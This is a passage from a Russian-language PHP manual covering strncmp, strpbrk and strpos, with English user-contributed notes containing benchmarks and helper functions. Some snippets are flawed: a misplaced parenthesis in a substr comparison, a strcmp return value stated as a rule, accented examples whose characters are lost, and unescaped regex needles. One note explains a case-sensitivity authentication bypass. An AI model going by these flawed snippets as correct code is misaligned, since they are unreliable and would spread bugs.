  • strcmp() - Бинарно-безопасное сравнение строк
  • strstr() - Находит первое вхождение подстроки
  • substr() - Возвращает подстроку

User Contributed Notes

samy 01-May-2017 01:40
I just want to highlight that (at least on php7), when testing for the existence of a string in the beginning of another string you should consider using substr  or strpos (if performances is an issue).

Here is a small benchmark (for what it's worth):
<?php
$n = 'abcd';
$l = strlen($n);
$haystack0 = base64_encode(random_bytes(128));

//heat
$r = 1;
for ($i = 0; $i < 100000000; $i++)
    $r += $r * $r % 10000;

//tests
$k = 30000000;
$res = array();
foreach (array('found' => $n . $haystack0, 'not-found' => strrev($n) . $haystack0) as $f => $haystack) {
    $m = microtime(true);
    for ($i = 0; $i < $k; $i++)
        !strncmp($haystack, $n, $l) && $r++;
    $res["strncmp-$f"] = -$m + ($m = microtime(true));

    for ($i = 0; $i < $k; $i++)
        (strpos($haystack, $n) === 0) && $r++;
    $res["strpos-$f"] = -$m + ($m = microtime(true));

    for ($i = 0; $i < $k; $i++)
        (substr($haystack, 0, $l) === $n) && $r++;
    $res["substr-$f"] = microtime(true) - $m;
}

//print
asort($res);
print_r($res);
echo "\n$r"; // makes sure no auto-optimization occurs
?>

This outputs:
<?php /*
    [strpos-found]        => 1.3313138484955
    [substr-not-found]    => 1.4832630157471
    [substr-found]        => 1.6976611614227
    [strpos-not-found]    => 2.0043320655823
    [strncmp-not-found]    => 2.0969619750977
    [strncmp-found]        => 2.3616981506348
*/ ?>
salehrezq at gmail dot com 06-Oct-2016 03:42
A note not included in the documentation:

int strcmp ( string $str1 , string $str2 )

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

My addendum:
If str1 and str2 are not equal, and str1 is a sub-string of str2 or vise versa. The returned int value will be negative or positive indicating how many characters the difference is between the two strings in absolute terms.

Example:

<?php
$str1 = "phpaaa";
$str2 = "php";

echo strcmp($str1, $str2); // 3
?>

since str2 = "php" is a sub-string of str1 = "phpaaa" and "phpaaa" is greater than "php" the returned value is positive and is 3 indicating how many characters the difference is between the two strings.

If you replace the value of str1 with str2 the result will be -3 (negative) but still indicates the absolute difference which is 3
bobvin at pillars dot net 19-May-2011 07:25
For checking matches at the beginning of a short string, strpos() is about 15% faster than strncmp().

Here's a benchmark program to prove it:

<?php
$haystack = "abcdefghijklmnopqrstuvwxyz";
$needles = array('abc', 'xyz', '123');
foreach ($needles as $needle) {
  $times['strncmp'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strncmp($haystack, $needle, 3) === 0;
  }
  $times['strncmp'][$needle] += microtime(true);
}
foreach ($needles as $needle) {
  $times['strpos'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strpos($haystack, $needle) === 0;
  }
  $times['strpos'][$needle] += microtime(true);
}
var_export($times);
?>
elloromtz at gmail dot com 19-Apr-2010 05:25
if length is 0 regardless what the two strings are, it will return 0

<?php
strncmp("xybc","a3234",0); // 0
strncmp("blah123","hohoho", 0); //0
?>
codeguru at crazyprogrammer dot cba dot pl 24-Jan-2008 11:07
I ran the following experiment to compare arrays.

1 st - using (substr($key,0,5 == "HTTP_") & 2 nd - using (!strncmp($key, 'HTTP_', 5))

I wanted to work out the fastest way to get the first few characters from a array

BENCHMARK ITERATION RESULT IS:
if (substr($key,0,5 == "HTTP_").... -   0,000481s
if (!strncmp($key, 'HTTP_', 5)).... -     0,000405s

strncmp() is 20% faster than substr() :D

<?php
// SAMPLE FUNCTION
function strncmp_match($arr)
{
foreach ($arr as $key => $val)
    {
    //if (substr($key,0,5 == "HTTP_")
    if (!strncmp($key, 'HTTP_', 5))
        {
    $out[$key] = $val;
        }
    }
return $out;
}

// EXAMPLE USE
?><pre><?php
print_r(strncmp_match($_SERVER));
?></pre>

will display code like this:

Array
(
    [HTTP_ACCEPT] => XXX
    [HTTP_ACCEPT_LANGUAGE] => pl
    [HTTP_UA_CPU] => x64
    [HTTP_ACCEPT_ENCODING] => gzip, deflate
    [HTTP_USER_AGENT] => Mozilla/4.0
                                    (compatible; MSIE 7.0;
                                     Windows NT 5.1;
                                    .NET CLR 1.1.4322;
                                    .NET CLR 2.0.50727)
    [HTTP_HOST] => XXX.XXX.XXX.XXX
    [HTTP_CONNECTION] => Keep-Alive
    [HTTP_COOKIE] => __utma=XX;__utmz=XX.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
)


Ищет в строке любой символ из заданного набора

  • « strncmp
  • strpos »
  • PHP Manual
  • Функции для работы со строками
  • Ищет в строке любой символ из заданного набора

strpbrk

(PHP 5, PHP 7, PHP 8)

strpbrk — Ищет в строке любой символ из заданного набора

Описание

strpbrk(string $string, string $characters): string|false

strpbrk() ищет в строке string символы из набора characters.

Список параметров

string

Строка, в которой производится поиск characters.

characters

Данный параметр чувствителен к регистру.

Возвращаемые значения

Возвращает строку, начиная с найденного символа, или false, если он не был найден.

Примеры

Пример #1 Пример использования strpbrk()

<?php

$text = 'This is a Simple text.';

// Этот код выдаст "is is a Simple text.", т.к. символ 'i' встретится раньше
echo strpbrk($text, 'mi');

// Этот код выдаст "Simple text.", т.к. символы чувствительны к регистру
echo strpbrk($text, 'S');
?>

Смотрите также

  • strpos() - Возвращает позицию первого вхождения подстроки
  • strstr() - Находит первое вхождение подстроки
  • preg_match() - Выполняет проверку на соответствие регулярному выражению

User Contributed Notes

guillaume dot barranco at free dot fr 16-Oct-2017 02:56
A little modification to Evan's code to use an array for the second parameter :

<?php

function strpbrkpos($s, $accept) {
  $r = FALSE;
  $t = 0;
  $i = 0;
  $accept_l = count($accept);

  for ( ; $i < $accept_l ; $i++ )
    if ( ($t = strpos($s, $accept[$i])) !== FALSE )
      if ( ($r === FALSE) || ($t < $r) )
        $r = $t;

    return $r;
}

?>
devnuhl 11-Jul-2014 08:12
If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions, use strcspn()


Возвращает позицию первого вхождения подстроки

  • « strpbrk
  • strrchr »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает позицию первого вхождения подстроки

strpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strpos — Возвращает позицию первого вхождения подстроки

Описание

strpos(string $haystack, string $needle, int $offset = 0): int|false

Ищет позицию первого вхождения подстроки needle в строку haystack.

Список параметров

haystack

Строка, в которой производится поиск.

needle

Строка для поиска.

До PHP 8.0.0, если параметр needle — не строка, он преобразовывается в целое число и трактуется как код символа. Это поведение устарело с PHP 7.3.0 и полагаться на него крайне не рекомендуется. В зависимости от предполагаемого поведения, параметр needle должен быть либо явно приведён к строке, либо должен быть выполнен явный вызов функции chr().

offset

Если этот параметр указан, то поиск будет начат с указанного количества символов с начала строки. Если задано отрицательное значение, отсчёт позиции начала поиска будет произведён с конца строки.

Возвращаемые значения

Возвращает позицию, в которой находится искомая строка, относительно начала строки haystack (независимо от смещения (offset)). Также обратите внимание на то, что позиция строки отсчитывается от 0, а не от 1.

Возвращает false, если искомая строка не найдена.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.0.0 | Параметр needle теперь разрешает пустую строку.
8.0.0 | Передача целого числа (int) в needle больше не поддерживается.
7.3.0 | Передача целого числа (int) в needle объявлена устаревшей.
7.1.0 | Добавлена поддержка отрицательных значений offset.

Примеры

Пример #1 Использование ===

<?php
$mystring = 'abc';
$findme = 'a';
$pos = strpos($mystring, $findme);

// Заметьте, что используется ===. Использование == не даст верного
// результата, так как 'a' находится в нулевой позиции.
if ($pos === false) {
echo "Строка '$findme' не найдена в строке '$mystring'";
} else {
echo "Строка '$findme' найдена в строке '$mystring'";
echo " в позиции $pos";
}
?>

Пример #2 Использование !==

<?php
$mystring = 'abc';
$findme = 'a';
$pos = strpos($mystring, $findme);

// Оператор !== также можно использовать. Использование != не даст верного
// результата, так как 'a' находится в нулевой позиции. Выражение (0 != false) приводится
// к false.
if ($pos !== false) {
echo "Строка '$findme' найдена в строке '$mystring'";
echo " в позиции $pos";
} else {
echo "Строка '$findme' не найдена в строке '$mystring'";
}
?>

Пример #3 Использование смещения

<?php
// Можно искать символ, игнорируя символы до определённого смещения
$newstring = 'abcdef abcdef';
$pos = strpos($newstring, 'a', 1); // $pos = 7, не 0
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • str_contains() - Определяет, содержит ли строка заданную подстроку
  • str_ends_with() - Проверяет, заканчивается ли строка заданной подстрокой
  • str_starts_with() - Проверяет, начинается ли строка с заданной подстроки
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • strripos() - Возвращает позицию последнего вхождения подстроки без учёта регистра
  • strstr() - Находит первое вхождение подстроки
  • strpbrk() - Ищет в строке любой символ из заданного набора
  • substr() - Возвращает подстроку
  • preg_match() - Выполняет проверку на соответствие регулярному выражению

User Contributed Notes

sunmacet at gmail dot com 23-Nov-2020 10:14
To check that a substring is present.

Confusing check if position is not false:

if ( strpos ( $haystack , $needle ) !== FALSE )

Logical check if there is position:

if ( is_int ( strpos ( $haystack , $needle ) ) )
ds at kala-it dot de 03-Jan-2020 09:35
Note this code example below in PHP 7.3
<?php
$str = "17,25";

if(FALSE !== strpos($str, 25)){
    echo "25 is inside of str";
} else {
    echo "25 is NOT inside of str";
}
?>

Will output "25 is NOT inside of str" and will throw out a deprication message, that non string needles will be interpreted as strings in the future.

This just gave me some headache since the value I am checking against comes from the database as an integer.
hu60 dot cn at gmail dot com 09-Jun-2019 01:25
A more accurate imitation of the PHP function session_start().

Function my_session_start() does something similar to session_start() that has the default configure, and the session files generated by the two are binary compatible.

The code may help people increase their understanding of the principles of the PHP session.

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('session.save_path', __DIR__);

my_session_start();

echo '<p>session id: '.my_session_id().'</p>';

echo '<code><pre>';
var_dump($_SESSION);
echo '</pre></code>';

$now = date('H:i:s');
if (isset($_SESSION['last_visit_time'])) {
  echo '<p>Last Visit Time: '.$_SESSION['last_visit_time'].'</p>';
}
echo '<p>Current Time: '.$now.'</p>';

$_SESSION['last_visit_time'] = $now;

function my_session_start() {
  global $phpsessid, $sessfile;

  if (!isset($_COOKIE['PHPSESSID']) || empty($_COOKIE['PHPSESSID'])) {
    $phpsessid = my_base32_encode(my_random_bytes(16));
    setcookie('PHPSESSID', $phpsessid, ini_get('session.cookie_lifetime'), ini_get('session.cookie_path'), ini_get('session.cookie_domain'), ini_get('session.cookie_secure'), ini_get('session.cookie_httponly'));
  } else {
    $phpsessid = substr(preg_replace('/[^a-z0-9]/', '', $_COOKIE['PHPSESSID']), 0, 26);
  }

  $sessfile = ini_get('session.save_path').'/sess_'.$phpsessid;
  if (is_file($sessfile)) {
    $_SESSION = my_unserialize(file_get_contents($sessfile));
  } else {
    $_SESSION = array();
  }
  register_shutdown_function('my_session_save');
}

function my_session_save() {
  global $sessfile;

  file_put_contents($sessfile, my_serialize($_SESSION));
}

function my_session_id() {
  global $phpsessid;
  return $phpsessid;
}

function my_serialize($data) {
  $text = '';
  foreach ($data as $k=>$v) {
    // key cannot contains '|'
    if (strpos($k, '|') !== false) {
      continue;
    }
    $text.=$k.'|'.serialize($v)."\n";
  }
  return $text;
}

function my_unserialize($text) {
  $data = [];
  $text = explode("\n", $text);
  foreach ($text as $line) {
    $pos = strpos($line, '|');
    if ($pos === false) {
      continue;
    }
    $data[substr($line, 0, $pos)] = unserialize(substr($line, $pos + 1));
  }
  return $data;
}

function my_random_bytes($length) {
  if (function_exists('random_bytes')) {
      return random_bytes($length);
  }
  $randomString = '';
  for ($i = 0; $i < $length; $i++) {
      $randomString .= chr(rand(0, 255));
  }
  return $randomString;
}

function my_base32_encode($input) {
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $output = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($input); $i < $j; $i++) {
    $v <<= 8;
    $v += ord($input[$i]);
    $vbits += 8;
    while ($vbits >= 5) {
      $vbits -= 5;
      $output .= $BASE32_ALPHABET[$v >> $vbits];
      $v &= ((1 << $vbits) - 1);
    }
  }
  if ($vbits > 0) {
    $v <<= (5 - $vbits);
    $output .= $BASE32_ALPHABET[$v];
  }
  return $output;
}
Jean 05-Mar-2019 05:50
When a value can be of "unknow" type, I find this conversion trick usefull and more readable than a formal casting (for php7.3+):

<?php
$time = time();
$string = 'This is a test: ' . $time;
echo (strpos($string, $time) !== false ? 'found' : 'not found');
echo (strpos($string, "$time") !== false ? 'found' : 'not found');
?>
amolocaleb at gmail dot com 06-Sep-2018 03:00
Note that strpos() is case sensitive,so when doing a case insensitive search,use stripos() instead..If the latter is not available,subject the string to strlower() first,otherwise you may end up in this situation..
<?php
//say we are matching url routes and calling access control middleware depending on the route

$registered_route = '/admin' ;
//now suppose we want to call the authorization middleware before accessing the admin route
if(strpos($path->url(),$registered_route) === 0){
     $middleware->call('Auth','login');
}
?>
and the auth middleware is as follows
<?php
class Auth{

function login(){
   if(!loggedIn()){
       return redirect("path/to/login.php");
}
return true;
}
}

//Now suppose:
$user_url = '/admin';
//this will go to the Auth middleware for checks and redirect accordingly

//But:
$user_url = '/Admin';
//this will make the strpos function return false since the 'A' in admin is upper case and user will be taken directly to admin dashboard authentication and authorization notwithstanding
?>
Simple fixes:
<?php
//use stripos() as from php 5
if(stripos($path->url(),$registered_route) === 0){
     $middleware->call('Auth','login');
}
//for those with php 4
if(stripos(strtolower($path->url()),$registered_route) === 0){
     $middleware->call('Auth','login');
}
//make sure the $registered_route is also lowercase.Or JUST UPGRADE to PHP 5>
msegit post pl 18-Jul-2018 12:41
This might be useful, I often use for parsing file paths etc.
(Some examples inside https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a )
<?php
/**
* Function 'strpos_' finds the position of the first or last occurrence of a substring in a string, ignoring number of characters
*
* Function 'strpos_' is similar to 'str[r]pos()', except:
* 1. fourth (last, optional) param tells, what to return if str[r]pos()===false
* 2. third (optional) param $offset tells as of str[r]pos(), BUT if negative (<0) search starts -$offset characters counted from the end AND skips (ignore!, not as 'strpos' and 'strrpos') -$offset-1 characters from the end AND search backwards
*
* @param string $haystack Where to search
* @param string $needle What to find
* @param int $offset (optional) Number of characters to skip from the beginning (if 0, >0) or from the end (if <0) of $haystack
* @param mixed $resultIfFalse (optional) Result, if not found
*    Example:
*    positive $offset - like strpos:
*        strpos_('abcaba','ab',1)==strpos('abcaba','ab',1)==3, strpos('abcaba','ab',4)===false, strpos_('abcaba','ab',4,'Not found')==='Not found'
*    negative $offset - similar to strrpos:
*        strpos_('abcaba','ab',-1)==strpos('abcaba','ab',-1)==3, strrpos('abcaba','ab',-3)==3 BUT strpos_('abcaba','ab',-3)===0 (omits 2 characters from the end, because -2-1=-3, means search in 'abca'!)
*
* @result int $offset Returns offset (or false), or $resultIfFalse
*/
function strpos_($haystack, $needle, $offset = 0, $resultIfFalse = false) {
    $haystack=((string)$haystack);    // (string) to avoid errors with int, float...
    $needle=((string)$needle);
    if ($offset>=0) {
        $offset=strpos($haystack, $needle, $offset);
        return (($offset===false)? $resultIfFalse : $offset);
    } else {
        $haystack=strrev($haystack);
        $needle=strrev($needle);
        $offset=strpos($haystack,$needle,-$offset-1);
        return (($offset===false)? $resultIfFalse : strlen($haystack)-$offset-strlen($needle));
    }
}
?>
marvin_elia at web dot de 19-Apr-2018 09:36
Find position of nth occurrence of a string:

    function strpos_occurrence(string $string, string $needle, int $occurrence, int $offset = null) {
        if((0 < $occurrence) && ($length = strlen($needle))) {
            do {
            } while ((false !== $offset = strpos($string, $needle, $offset)) && --$occurrence && ($offset += $length));
            return $offset;
        }
        return false;
    }
greg at spotx dot net 27-Nov-2017 12:48
Warning:
this is not unicode safe

strpos($word,'?') in e?ez-> 1
strpos($word,'?') in e?ent-> 2
Lhenry 03-Oct-2017 09:34
note that strpos( "8 june 1970"  ,  1970 ) returns FALSE..

add quotes to the needle
eef dot vreeland at gmail dot com 22-Apr-2017 01:16
To prevent others from staring at the text, note that the wording of the 'Return Values' section is ambiguous.

Let's say you have a string $myString containing 50 'a's except on position 3 and 43, they contain 'b'.
And for this moment, forget that counting starts from 0.

strpos($myString, 'b', 40) returns 43, great.

And now the text: "Returns the position of where the needle exists relative to the beginning of the haystack string (independent of offset)."

So it doesn't really matter what offset I specify; I'll get the REAL position of the first occurrence in return, which is 3?

... no ...

"independent of offset" means, you will get the REAL positions, thus, not relative to your starting point (offset).

Substract your offset from strpos()'s answer, then you have the position relative to YOUR offset.
jexy dot ru at gmail dot com 23-Jan-2017 08:29
Docs are missing that WARNING is issued if needle is '' (empty string).

In case of empty haystack it just return false:

For example:

<?php
var_dump(strpos('foo', ''));

var_dump(strpos('', 'foo'));

var_dump(strpos('', ''));
?>

will output:

Warning: strpos(): Empty needle in /in/lADCh on line 3
bool(false)

bool(false)

Warning: strpos(): Empty needle in /in/lADCh on line 7
bool(false)

Note also that warning text may differ depending on php version, see https://3v4l.org/lADCh
m.m.j.kronenburg 06-Sep-2016 10:56
<?php

/**
 * Find the position of the first occurrence of one or more substrings in a
 * string.
 *
 * This function is simulair to function strpos() except that it allows to
 * search for multiple needles at once.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needles      Array containing needles or string containing
 *                            needle.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 * @param boolean $last       If TRUE then the farthest position from the start
 *                            of one of the needles is returned.
 *                            If FALSE then the smallest position from start of
 *                            one of the needles is returned.
 **/
function mstrpos($haystack, $needles, $offset = 0, $last = false)
{
  if(!is_array($needles)) { $needles = array($needles); }
  $found = false;
  foreach($needles as $needle)
  {
    $position = strpos($haystack, (string)$needle, $offset);
    if($position === false) { continue; }
    $exp = $last ? ($found === false || $position > $found) :
      ($found === false || $position < $found);
    if($exp) { $found = $position; }
  }
  return $found;
}

/**
 * Find the position of the first (partially) occurrence of a substring in a
 * string.
 *
 * This function is simulair to function strpos() except that it wil return a
 * position when the substring is partially located at the end of the string.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needle       The needle to search for.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 **/
function pstrpos($haystack, $needle, $offset = 0)
{
  $position = strpos($haystack, $needle, $offset);
  if($position !== false) { return $position; }

  for($i = strlen($needle); $i > 0; $i--)
  {
    if(substr($needle, 0, $i) == substr($haystack, -$i))
    { return strlen($haystack) - $i; }
  }
  return false;
}

/**
 * Find the position of the first (partially) occurrence of one or more
 * substrings in a string.
 *
 * This function is simulair to function strpos() except that it allows to
 * search for multiple needles at once and it wil return a position when one of
 * the substrings is partially located at the end of the string.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needles      Array containing needles or string containing
 *                            needle.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 * @param boolean $last       If TRUE then the farthest position from the start
 *                            of one of the needles is returned.
 *                            If FALSE then the smallest position from start of
 *                            one of the needles is returned.
 **/
function mpstrpos($haystack, $needles, $offset = 0, $last = false)
{
  if(!is_array($needles)) { $needles = array($needles); }
  $found = false;
  foreach($needles as $needle)
  {
    $position = pstrpos($haystack, (string)$needle, $offset);
    if($position === false) { continue; }
    $exp = $last ? ($found === false || $position > $found) :
      ($found === false || $position < $found);
    if($exp) { $found = $position; }
  }
  return $found;
}

?>
fabio at naoimporta dot com 25-Feb-2016 04:58
It is interesting to be aware of the behavior when the treatment of strings with characters using different encodings.

<?php
# Works like expected. There is no accent
var_dump(strpos("Fabio", 'b'));
#int(2)

# The "a" letter is occupying two positions
var_dump(strpos("Fabio", 'b')) ;
#int(3)

# Now, encoding the string "Fabio" to utf8, we get some "unexpected" outputs. Every letter that is no in regular ASCII table, will use 4 positions(bytes). The starting point remains like before.
# We cant find the characted, because the haystack string is now encoded.
var_dump(strpos(utf8_encode("Fabio"), 'a'));
#bool(false)

# To get the expected result, we need to encode the needle too
var_dump(strpos(utf8_encode("Fabio"), utf8_encode('a')));
#int(1)

# And, like said before, "a" occupies 4 positions(bytes)
var_dump(strpos(utf8_encode("Fabio"), 'b'));
#int(5)
lairdshaw at yahoo dot com dot au 03-Apr-2015 06:02
<?php
/*
 * A strpos variant that accepts an array of $needles - or just a string,
 * so that it can be used as a drop-in replacement for the standard strpos,
 * and in which case it simply wraps around strpos and stripos so as not
 * to reduce performance.
 *
 * The "m" in "strposm" indicates that it accepts *m*ultiple needles.
 *
 * Finds the earliest match of *all* needles. Returns the position of this match
 * or false if none found, as does the standard strpos. Optionally also returns
 * via $match either the matching needle as a string (by default) or the index
 * into $needles of the matching needle (if the STRPOSM_MATCH_AS_INDEX flag is
 * set).
 *
 * Case-insensitive searching can be specified via the STRPOSM_CI flag.
 * Note that for case-insensitive searches, if the STRPOSM_MATCH_AS_INDEX is
 * not set, then $match will be in the haystack's case, not the needle's case,
 * unless the STRPOSM_NC flag is also set.
 *
 * Flags can be combined using the bitwise or operator,
 * e.g. $flags = STRPOSM_CI|STRPOSM_NC
 */
define('STRPOSM_CI'            , 1); // CI => "case insensitive".
define('STRPOSM_NC'            , 2); // NC => "needle case".
define('STRPOSM_MATCH_AS_INDEX', 4);
function strposm($haystack, $needles, $offset = 0, &$match = null, $flags = 0) {
    // In the special case where $needles is not an array, simply wrap
    // strpos and stripos for performance reasons.
    if (!is_array($needles)) {
        $func = $flags & STRPOSM_CI ? 'stripos' : 'strpos';
        $pos = $func($haystack, $needles, $offset);
        if ($pos !== false) {
            $match = (($flags & STRPOSM_MATCH_AS_INDEX)
                      ? 0
                      : (($flags & STRPOSM_NC)
                         ? $needles
                         : substr($haystack, $pos, strlen($needles))
                        )
                      );
            return $pos;
        } else    goto strposm_no_match;
    }

    // $needles is an array. Proceed appropriately, initially by...
    // ...escaping regular expression meta characters in the needles.
    $needles_esc = array_map('preg_quote', $needles);
    // If either of the "needle case" or "match as index" flags are set,
    // then create a sub-match for each escaped needle by enclosing it in
    // parentheses. We use these later to find the index of the matching
    // needle.
    if (($flags & STRPOSM_NC) || ($flags & STRPOSM_MATCH_AS_INDEX)) {
        $needles_esc = array_map(
            function($needle) {return '('.$needle.')';},
            $needles_esc
        );
    }
    // Create the regular expression pattern to search for all needles.
    $pattern = '('.implode('|', $needles_esc).')';
    // If the "case insensitive" flag is set, then modify the regular
    // expression with "i", meaning that the match is "caseless".
    if ($flags & STRPOSM_CI) $pattern .= 'i';
    // Find the first match, including its offset.
    if (preg_match($pattern, $haystack, $matches, PREG_OFFSET_CAPTURE, $offset)) {
        // Pull the first entry, the overall match, out of the matches array.
        $found = array_shift($matches);
        // If we need the index of the matching needle, then...
        if (($flags & STRPOSM_NC) || ($flags & STRPOSM_MATCH_AS_INDEX)) {
            // ...find the index of the sub-match that is identical
            // to the overall match that we just pulled out.
            // Because sub-matches are in the same order as needles,
            // this is also the index into $needles of the matching
            // needle.
            $index = array_search($found, $matches);
        }
        // If the "match as index" flag is set, then return in $match
        // the matching needle's index, otherwise...
        $match = (($flags & STRPOSM_MATCH_AS_INDEX)
          ? $index
          // ...if the "needle case" flag is set, then index into
          // $needles using the previously-determined index to return
          // in $match the matching needle in needle case, otherwise...
          : (($flags & STRPOSM_NC)
             ? $needles[$index]
             // ...by default, return in $match the matching needle in
             // haystack case.
             : $found[0]
          )
        );
        // Return the captured offset.
        return $found[1];
    }

strposm_no_match:
    // Nothing matched. Set appropriate return values.
    $match = ($flags & STRPOSM_MATCH_AS_INDEX) ? false : null;
    return false;
}
?>
qrworld.net 04-Nov-2014 04:08
I found a function in this post http://softontherocks.blogspot.com/2014/11/buscar-multiples-textos-en-un-texto-con.html
that implements the search in both ways, case sensitive or case insensitive, depending on an input parameter.

The function is:

function getMultiPos($haystack, $needles, $sensitive=true, $offset=0){
    foreach($needles as $needle) {
        $result[$needle] = ($sensitive) ? strpos($haystack, $needle, $offset) : stripos($haystack, $needle, $offset);
    }
    return $result;
}

It was very useful for me.
ohcc at 163 dot com 27-Jun-2014 10:52
Be careful when the $haystack or $needle parameter is an integer.
If you are not sure of its type, you should  convert it into a string.
<?php
    var_dump(strpos(12345,1));//false
    var_dump(strpos(12345,'1'));//0
    var_dump(strpos('12345',1));//false
    var_dump(strpos('12345','1'));//0
    $a = 12345;
    $b = 1;
    var_dump(strpos(strval($a),strval($b)));//0
    var_dump(strpos((string)$a,(string)$b));//0
?>
binodluitel at hotmail dot com 27-Mar-2014 04:26
This function will return 0 if the string that you are searching matches i.e. needle matches the haystack

{code}
echo strpos('bla', 'bla');
{code}

Output: 0
Lurvik 16-Dec-2013 07:02
Don't know if already posted this, but if I did this is an improvement.

This function will check if a string contains  a needle. It _will_ work with arrays and multidimensional arrays (I've tried with a > 16 dimensional array and had no problem).

<?php
function str_contains($haystack, $needles)
{
    //If needles is an array
    if(is_array($needles))
    {
        //go trough all the elements
        foreach($needles as $needle)
        {
            //if the needle is also an array (ie needles is a multidimensional array)
            if(is_array($needle))
            {
                //call this function again
                if(str_contains($haystack, $needle))
                {
                    //Will break out of loop and function.
                    return true;
                }

                return false;
            }

            //when the needle is NOT an array:
                //Check if haystack contains the needle, will ignore case and check for whole words only
            elseif(preg_match("/\b$needle\b/i", $haystack) !== 0)
            {
                return true;
            }
        }
    }
    //if $needles is not an array...
    else
    {
        if(preg_match("/\b$needles\b/i", $haystack) !== 0)
        {
            return true;
        }
    }

    return false;
}
?>
Anonymous 18-Feb-2013 09:55
The most straightforward way to prevent this function from returning 0 is:

  strpos('x'.$haystack, $needle, 1)

The 'x' is simply a garbage character which is only there to move everything 1 position.
The number 1 is there to make sure that this 'x' is ignored in the search.
This way, if $haystack starts with $needle, then the function returns 1 (rather than 0).
mtroy dot student at gmail dot com 25-Apr-2012 04:46
when you want to know how much of substring occurrences, you'll use "substr_count".
But, retrieve their positions, will be harder.
So, you can do it by starting with the last occurrence :

function strpos_r($haystack, $needle)
{
    if(strlen($needle) > strlen($haystack))
        trigger_error(sprintf("%s: length of argument 2 must be <= argument 1", __FUNCTION__), E_USER_WARNING);

    $seeks = array();
    while($seek = strrpos($haystack, $needle))
    {
        array_push($seeks, $seek);
        $haystack = substr($haystack, 0, $seek);
    }
    return $seeks;
}

it will return an array of all occurrences a the substring in the string

Example :

$test = "this is a test for testing a test function... blah blah";
var_dump(strpos_r($test, "test"));

// output

array(3) {
  [0]=>
  int(29)
  [1]=>
  int(19)
  [2]=>
  int(10)
}

Paul-antoine
Malezieux.
martijn at martijnfrazer dot nl 25-Feb-2012 03:58
This is a function I wrote to find all occurrences of a string, using strpos recursively.

<?php
function strpos_recursive($haystack, $needle, $offset = 0, &$results = array()) {
    $offset = strpos($haystack, $needle, $offset);
    if($offset === false) {
        return $results;
    } else {
        $results[] = $offset;
        return strpos_recursive($haystack, $needle, ($offset + 1), $results);
    }
}
?>

This is how you use it:

<?php
$string = 'This is some string';
$search = 'a';
$found = strpos_recursive($string, $search);

if($found) {
    foreach($found as $pos) {
        echo 'Found "'.$search.'" in string "'.$string.'" at position <b>'.$pos.'</b><br />';
    }
} else {
    echo '"'.$search.'" not found in "'.$string.'"';
}
?>
rjeggens at ijskoud dot org 24-Jan-2012 07:38
I lost an hour before I noticed that strpos only returns FALSE as a boolean, never TRUE.. This means that

strpos() !== false

is a different beast then:

strpos() === true

since the latter will never be true. After I found out, The warning in the documentation made a lot more sense.
gjh42 - simonokewode at hotmail dot com 07-Nov-2011 07:59
A pair of functions to replace every nth occurrence of a string with another string, starting at any position in the haystack. The first works on a string and the second works on a single-level array of strings, treating it as a single string for replacement purposes (any needles split over two array elements are ignored).

Can be used for formatting dynamically-generated HTML output without touching the original generator: e.g. add a newLine class tag to every third item in a floated list, starting with the fourth item.

<?php
/* String Replace at Intervals   by Glenn Herbert (gjh42)    2010-12-17
 */

//(basic locator by someone else - name unknown)
//strnposr() - Find the position of nth needle in haystack.
function strnposr($haystack, $needle, $occurrence, $pos = 0) {
    return ($occurrence<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurrence-1,strpos($haystack, $needle, $pos) + 1);
}

//gjh42
//replace every nth occurrence of $needle with $repl, starting from any position
function str_replace_int($needle, $repl, $haystack, $interval, $first=1, $pos=0) {
  if ($pos >= strlen($haystack) or substr_count($haystack, $needle, $pos) < $first) return $haystack;
  $firstpos = strnposr($haystack, $needle, $first, $pos);
  $nl = strlen($needle);
  $qty = floor(substr_count($haystack, $needle, $firstpos + 1)/$interval);
  do { //in reverse order
    $nextpos = strnposr($haystack, $needle, ($qty * $interval) + 1, $firstpos);
    $qty--;
    $haystack = substr_replace($haystack, $repl, $nextpos, $nl);
  } while ($nextpos > $firstpos);
  return $haystack;
}
  //$needle = string to find
  //$repl = string to replace needle
  //$haystack = string to do replacing in
  //$interval = number of needles in loop
  //$first=1 = first occurrence of needle to replace (defaults to first)
  //$pos=0 = position in haystack string to start from (defaults to first)

//replace every nth occurrence of $needle with $repl, starting from any position, in a single-level array
function arr_replace_int($needle, $repl, $arr, $interval, $first=1, $pos=0, $glue='|+|') {
  if (!is_array($arr))  return $arr;
  foreach($arr as $key=>$value){
    if (is_array($arr[$key])) return $arr;
  }
  $haystack = implode($glue, $arr);
  $haystack = str_replace_int($needle, $repl, $haystack, $interval, $first, $pos);
  $tarr = explode($glue, $haystack);
  $i = 0;
  foreach($arr as $key=>$value){
    $arr[$key] = $tarr[$i];
    $i++;
  }
  return $arr;
}
?>
If $arr is not an array, or a multilevel array, it is returned unchanged.
akarmenia at gmail dot com 05-Mar-2011 04:44
My version of strpos with needles as an array. Also allows for a string, or an array inside an array.

<?php
